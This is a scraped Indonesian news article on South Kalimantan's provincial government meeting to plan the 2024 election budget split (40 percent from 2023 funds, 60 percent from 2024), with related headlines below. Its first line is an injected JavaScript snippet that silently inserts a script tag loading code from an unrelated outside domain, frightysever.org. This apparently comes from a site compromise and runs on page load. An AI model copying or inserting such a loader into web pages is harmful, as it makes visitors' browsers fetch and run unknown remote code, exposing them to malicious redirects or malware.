(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Provinsi Kalimantan Selatan (Pemprov Kalsel) menghadapi Pemilihan Umum (Pemilu) tahun 2024 menggelar rapat koordinasi sharing anggaran Pemilu/Pilkada serentak tahun 2024 di gedung Idham Chalid, Setdaprov Kalsel, Selasa (28/2/2023) siang.
Pemrpov Kalsel akan mengalokasikan dana dari APBD tahun 2023 dan 2024 dengan pembagian 40 persen tahun pertama dan 60 persen pada tahun kedua.
Sekdaprov Kalsel, Roy Rizali Anwar mengatakan, rapat ini bertujuan untuk menyamakan persepsi bersama antara Pemrpov Kalsel dan KPU Kalsel, KPU kabupaten/kota serta Bawaslu untuk sinergisitas persiapan anggaran Pemilu dan Pilkada serentak tahun 2024 mendatang.
“Dengan adanya kegiatan ini dapat memastikan anggaran harus dibiayai APBD,” ujarnya.
Baca juga: Kuras Isi Gudang, Dua Warga Kotim Diamankan Polsek Banjarmasin Barat
Pemprov Kalsel nantinya akan menggelontorkan 40 persen pada APBD tahun 2023 dan 60 persen dari APBD tahun 2024.
Roy Rizali mengatakan, jika ada kabupaten/kota yang belum menganggarkan, bisa melihat dari mekanisme sesuai edaran Kemendagri RI.
“Kita samakan persepsi, sehingga pada saat pelaksanaan, penatausahaan, pertanggungjawaban bisa sesuai ketentuan Pemilu dan Pilkada serentak bisa berjalan serentak dan sukses,” tandasnya.
Sementara itu, Kepala Bidang Politik Badan Kesbangpol Kalsel, Ida Saptika Dewi mengatakan, kegiatan ini memang harus dilaksanakan terkait pendanaan hibah Pemilu dan Pilkada serentak tahun 2024, guna menyepakati antara provinsi dan kabupaten/kota.
Baca juga: Berikan Kemudahan Pembayaran UPPD Samsat Banjarmasin II Siapkan Layanan Outdoor
“Nantinya tidak ada lagi anggaran yang tercecer berdasarkan kesepakatan itu,” ujarnya.
Untuk sementara, kata Ida, angka nominalnya belum ditetapkan, nanti akan disepakati yang kemudian diajukan dan diverifikasi TAPD Pemprov Kalsel.
“Finalnya (anggaran) belum,” katanya.
Pencairan nantinya 14 hari setelah penandatanganan untuk 40 persen untuk tahun 2023 dan tahun 2024 untuk anggaran 60 persen akan dibayarkan 5 bulan sebelum pemilihan.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru akan ikut… Read More
KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More
KANALKALIMANTAN.COM, CILEGON - Wakil Menteri Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan infrastruktur Stasiun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sesosok jasad lelaki tak bernyawa ditemukan tergeletak di pinggir jalan depan kantor… Read More
This website uses cookies.